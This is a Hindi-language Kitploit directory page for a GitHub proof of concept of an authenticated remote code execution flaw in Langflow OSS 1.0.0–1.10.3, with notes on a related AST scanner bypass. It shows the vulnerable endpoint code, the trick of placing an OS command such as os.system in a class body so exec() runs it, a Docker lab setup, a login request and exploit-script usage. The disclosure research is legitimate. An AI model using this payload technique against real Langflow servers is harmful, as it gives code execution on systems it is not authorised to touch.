Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
langflow-CVE-2026-17633-PoC — CVE-2026-17633 के लिए PoC — custom_component endpoint के माध्यम से IBM Langflow OSS 1.0.0–1.10.3 में Authenticated RCE। इसमें CVE-2026-17632 AST scanner bypass शोध शामिल है। | Kitploit
उपकरण/GitHubGitHub/oscar-collado/langflow-cve-2026-17633-poc
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंग
GitHuboscar-collado/langflow-cve-2026-17633-poc

langflow-CVE-2026-17633-PoC

CVE-2026-17633 के लिए PoC — custom_component endpoint के माध्यम से IBM Langflow OSS 1.0.0–1.10.3 में Authenticated RCE। इसमें CVE-2026-17632 AST scanner bypass शोध शामिल है।

रिपॉजिटरी देखें
111820 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-17633 और CVE-2026-17632 — IBM Langflow OSS RCE

केवल शैक्षिक उद्देश्यों के लिए। केवल उन सिस्टमों के विरुद्ध उपयोग करें जिनके आप स्वामी हैं या जिनका परीक्षण करने के लिए आपके पास स्पष्ट लिखित प्राधिकरण है।


1. परिचय

Langflow क्या है

Langflow LLM-संचालित अनुप्रयोगों और AI एजेंट वर्कफ़्लोज़ के निर्माण के लिए एक ओपन-सोर्स लो-कोड प्लेटफ़ॉर्म है। यह एक विज़ुअल ड्रैग-एंड-ड्रॉप इंटरफ़ेस प्रदान करता है जहाँ उपयोगकर्ता घटकों — मॉडल, रिट्रीवर, टूल्स, मेमोरी, कस्टम Python कोड — को निष्पादन योग्य फ़्लो में जोड़ सकते हैं। इसकी Custom Component सुविधा उपयोगकर्ताओं को सीधे Python में घटक व्यवहार परिभाषित करने की अनुमति देती है, जो इस शोध में शोषित हमले की सतह है।

IBM Security Bulletin — अगस्त 2026 बैच

5 अगस्त, 2026 को, IBM ने एक Security Bulletin प्रकाशित किया जिसमें Langflow OSS संस्करण 1.0.0 से 1.10.3 को प्रभावित करने वाली कई कमज़ोरियों का खुलासा किया गया। पूरा बुलेटिन यहाँ उपलब्ध है:

https://www.ibm.com/support/pages/node/7282646

यह शोध उस बैच के दो CVE पर केंद्रित है:

CVECVSSसारांश
CVE-2026-176338.5 HIGH/api/v1/custom_component के माध्यम से प्रमाणित RCE — कोड सीधे exec() को पास किया जाता है, बिना किसी सुरक्षा स्कैनिंग के
CVE-2026-176328.8 HIGHAST सुरक्षा स्कैनर बायपास — तैयार किया गया Python कोड scan_code_security() को is_safe: True के साथ पास करता है जबकि मनमाने OS कमांड निष्पादित करता है

दोनों CVE की खोज Langflow 1.10.3 के स्थिर स्रोत कोड विश्लेषण के माध्यम से स्वतंत्र रूप से की गई थी।

इस शोध का दायरा

  • प्राथमिक PoC: CVE-2026-17633 — एक कार्यशील एक्सप्लॉइट स्क्रिप्ट के साथ एंड-टू-एंड प्रदर्शित
  • शोध निष्कर्ष: CVE-2026-17632 — AST स्कैनर बायपास स्थानीय रूप से पुष्ट; LLM के माध्यम से डिलीवरी की व्यावहारिक सीमाएँ अनुभाग 5 में प्रलेखित हैं
  • लैब वातावरण: Kali Linux पर Docker में चल रहा Langflow OSS 1.10.3

अस्वीकरण

यह शोध एक पृथक लैब वातावरण में स्व-होस्टेड Langflow इंस्टेंस के विरुद्ध आयोजित किया गया था। सभी निष्कर्ष जिम्मेदारीपूर्वक प्रकट किए गए हैं। स्पष्ट लिखित प्राधिकरण के बिना सिस्टमों के विरुद्ध इसका उपयोग न करें।


2. CVE-2026-17633 — तकनीकी विश्लेषण

कमज़ोरी विवरण

Langflow OSS 1.0.0–1.10.3 में POST /api/v1/custom_component एंडपॉइंट एक प्रमाणित उपयोगकर्ता से मनमाना Python कोड स्वीकार करता है और इसे Python के exec() फ़ंक्शन के माध्यम से सर्वर-साइड निष्पादित करता है। Agentic Assistant पथ के विपरीत, यह एंडपॉइंट निष्पादन से पहले scan_code_security() या किसी अन्य AST-आधारित सामग्री सत्यापनकर्ता को नहीं कॉल करता है। कोई भी प्रमाणित उपयोगकर्ता एक ही HTTP अनुरोध से Remote Code Execution प्राप्त कर सकता है।

CWE-94 — कोड के निर्माण का अनुचित नियंत्रण

/api/v1/custom_component एंडपॉइंट

स्रोत: langflow/api/v1/endpoints.py — पंक्ति 1271

@router.post("/custom_component", status_code=HTTPStatus.OK, include_in_schema=False)
async def custom_component(
    raw_code: CustomComponentRequest,
    user: CurrentActiveUser,
    request: Request,
) -> CustomComponentResponse:
    ...
    # Only check: is allow_custom_components enabled?
    if not settings.allow_custom_components and not code_hash_matches_any_template(raw_code.code, all_known):
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, ...)

    # No call to scan_code_security() here
    component = Component(_code=effective_code)
    built_frontend_node, component_instance = build_custom_component_template(component, user_id=user.id)

जब LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true होता है (उत्पादन परिनियोजन में सामान्य), तो कोड शून्य सामग्री निरीक्षण के साथ सीधे build_custom_component_template() पर चला जाता है।

यह क्यों कमज़ोर है — prepare_global_scope() और ast.Expr

निष्पादन श्रृंखला lfx/custom/validate.py में create_class() की ओर ले जाती है, जो क्लास को संकलित और निष्पादित करने से पहले prepare_global_scope() को कॉल करता है:

def prepare_global_scope(module):
    exec_globals = globals().copy()
    ...
    for node in module.body:
        if isinstance(node, ast.Import | ast.ImportFrom):
            imports.append(node)
        elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
            definitions.append(node)
    ...
    if definitions:
        compiled_code = compile(combined_module, "<string>", "exec")
        exec(compiled_code, exec_globals)   # ← exec() happens here

मॉड्यूल स्तर पर एक बिना आवरण वाला फ़ंक्शन कॉल (जैसे os.system(...)) एक ast.Expr नोड है — यह isinstance जाँच से मेल नहीं खाता और चुपचाप त्याग दिया जाता है। हालाँकि, क्लास बॉडी के अंदर रखा गया कोड ClassDef नोड का हिस्सा होता है और जब क्लास को compile_class_code() के अंदर exec() के माध्यम से परिभाषित किया जाता है तो यह पूरी तरह से निष्पादित होता है।

यह मुख्य अंतर्दृष्टि है: पेलोड क्लास बॉडी के अंदर होना चाहिए, मॉड्यूल स्तर पर नहीं।

# ❌ Module-level — ast.Expr — silently ignored by prepare_global_scope()
import os
os.system("id > /tmp/pwned.txt")

class PocComponent(Component):
    ...

# ✅ Class body — executed at class definition time via exec()
class PocComponent(Component):
    os.system("id > /tmp/pwned.txt")   # ← runs here
    ...

शोषण श्रृंखला

Authenticated attacker
        │
        ▼
POST /api/v1/custom_component
{ "code": "<malicious Python class>" }
        │
        ▼
build_custom_component_template()
        │
        ▼
create_class()  —  lfx/custom/validate.py
        │
        ▼
prepare_global_scope()  →  imports resolved
        │
        ▼
compile_class_code()  →  exec(compiled_class, exec_globals)
        │
        ▼
Class body executed at definition time
        │
        ▼
RCE — uid=1000(user) gid=0(root) inside container

कोई LLM आवश्यक नहीं। कोई स्कैनर बायपास आवश्यक नहीं। एकल HTTP अनुरोध।


3. लैब सेटअप

पूर्वापेक्षाएँ

आवश्यकतामान
होस्ट OSKali Linux (परीक्षित)
DockerCE 5.x + Compose plugin v2
Langflow इमेजlangflowai/langflow:1.10.3
RAMकंटेनर के लिए न्यूनतम 4 GB

Docker Compose कॉन्फ़िगरेशन

लैब के लिए एक डायरेक्टरी बनाएँ और निम्नलिखित को docker-compose.yml के रूप में सहेजें:

services:
  langflow:
    image: langflowai/langflow:1.10.3    
    pull_policy: missing
    restart: "no"
    ports:
      - "127.0.0.1:7860:7860"           
    environment:
      - LANGFLOW_AUTO_LOGIN=false
      - LANGFLOW_SUPERUSER=admin
      - LANGFLOW_SUPERUSER_PASSWORD=Lab-Passw0rd!
      - LANGFLOW_SECRET_KEY=change_this_to_something_random
      - DO_NOT_TRACK=true
      - LANGFLOW_CONFIG_DIR=/app/langflow
      - LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true  
    volumes:
      - langflow-data:/app/langflow

volumes:
  langflow-data:

लैब प्रारंभ करें:

docker compose up -d
# Wait ~30 seconds for Langflow to initialize
curl http://127.0.0.1:7860/health
# Expected: {"status":"ok"}

एक वैध टोकन प्राप्त करना

ऊपर परिभाषित सुपरयूज़र क्रेडेंशियल्स के साथ http://127.0.0.1:7860 पर लॉग इन करें। एक्सेस टोकन ब्राउज़र कुकी access_token_lf में संग्रहीत होता है। वैकल्पिक रूप से, इसे API के माध्यम से प्राप्त करें:

curl -s -X POST http://127.0.0.1:7860/api/v1/login \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username=admin&password=Lab-Passw0rd!" | python3 -m json.tool

प्रतिक्रिया से access_token मान कॉपी करें।


4. PoC चलाना

उपयोग

python3 exploit_CVE-2026-17633.py [-h] -t TARGET -k TOKEN [-c COMMAND] [--verbose] [--timeout TIMEOUT]

  -t, --target   TARGET   Langflow base URL (e.g. http://127.0.0.1:7860)
  -k, --token    TOKEN    Bearer token of the authenticated user
  -c, --command  COMMAND  OS command to execute (default: id > /tmp/pwned.txt)
  --verbose               Print full payload and server response
  --timeout      TIMEOUT  Request timeout in seconds (default: 30)

बुनियादी निष्पादन

python3 exploit_CVE-2026-17633.py \
  -t http://127.0.0.1:7860 \
  -k <bearer_token> \
  -c 'id > /tmp/pwned.txt'

अपेक्षित आउटपुट:

टूल डाउनलोड करें